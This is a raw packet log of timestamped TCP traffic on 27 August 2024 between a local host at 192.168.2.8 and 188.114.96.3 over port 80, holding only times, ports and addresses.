Aug 27, 2024 09:49:37.745985985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746004105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746016026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746052027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746071100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746073961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746093035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746108055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746148109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746160030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746179104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746189117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746190071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746200085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746212959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746213913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746227980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746231079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746263981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746289968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746300936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746313095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746324062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746335030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746335983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746357918 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746424913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746437073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746447086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746459007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746463060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746470928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746480942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746504068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746535063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746551991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746582985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746583939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746594906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746606112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746617079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746624947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.746629000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.746644974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.789257050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.826862097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.826889992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.826901913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.826925039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.826936007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.826970100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.826984882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.826997042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.827008009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.827042103 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.827060938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.828382015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828452110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828463078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828494072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.828537941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828552961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828564882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828577042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828588963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828599930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828619003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.828644991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828648090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.828656912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828675985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.828742981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828753948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828763962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828775883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828788042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828788996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.828854084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.828866959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.828932047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828943014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828953028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828964949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828975916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.828977108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.829026937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.829058886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.829077005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.829138994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.829149961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.829159975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.829171896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.829184055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.829184055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.829194069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.829206944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.829206944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.829282045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.830642939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830652952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830660105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830722094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830738068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830739975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.830749989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830774069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.830775023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830786943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830805063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830810070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.830846071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.830878973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830889940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830902100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830923080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.830960035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830971003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830981970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830992937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.830996990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.831017017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.831233025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.831276894 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.831305981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.831317902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.831347942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.831350088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.831358910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.831402063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.831413984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.831428051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.831450939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.831976891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.831988096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832000017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832022905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832051992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832063913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832079887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832092047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832102060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832118034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832129002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832134008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832139015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832163095 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832191944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832210064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832221985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832235098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832247972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832257032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832272053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832309961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832377911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832389116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832400084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832412958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832423925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832431078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832443953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832453012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832457066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832468987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832477093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832495928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832550049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832614899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832628012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832648039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832674980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832684994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832695007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832706928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832710028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832730055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.832904100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832926035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.832951069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833017111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833034992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833045959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833050013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833059072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833081007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833178043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833189964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833201885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833213091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833218098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833230019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833240032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833241940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833254099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833255053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833297014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833338022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833348989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833359957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833372116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833379984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833383083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833396912 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833398104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833439112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833447933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833461046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833481073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833492041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833503008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833518982 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833539009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833575010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833585978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833612919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833687067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833698034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833707094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833719969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833734035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833755970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.833787918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.833861113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.913800001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.913842916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.913871050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.913885117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.913897991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.913908958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.913965940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.913979053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.914033890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.914073944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.915484905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.915617943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.915628910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.915667057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.915735960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.915775061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.915781975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.915870905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.915940046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916002035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916012049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916023970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916047096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916047096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.916071892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.916220903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916233063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916244030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916258097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916270971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916275024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.916275978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916285992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916292906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916301012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.916363001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.916383028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916393995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916404963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916416883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916421890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.916428089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916445971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.916467905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.916512966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916524887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916534901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916548014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916553020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916558981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916563988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.916573048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.916626930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.917531967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.917582989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.917584896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.917701006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.917712927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.917723894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.917736053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.917749882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.917773962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.917917967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.917928934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.917939901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.917951107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.917958021 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.917979956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.918097973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918109894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918119907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918131113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918138027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918149948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.918206930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918232918 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.918268919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918283939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918312073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.918343067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918354034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918364048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.918389082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.918405056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.918422937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919136047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919148922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919159889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919188023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919205904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919290066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919301987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919312000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919325113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919336081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919337988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919347048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919359922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919378996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919389963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919399977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919409037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919411898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919425011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919437885 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919440985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919452906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919465065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.919472933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.919476986 CEST	80	49715	188.114.96.3	192.168.2.8
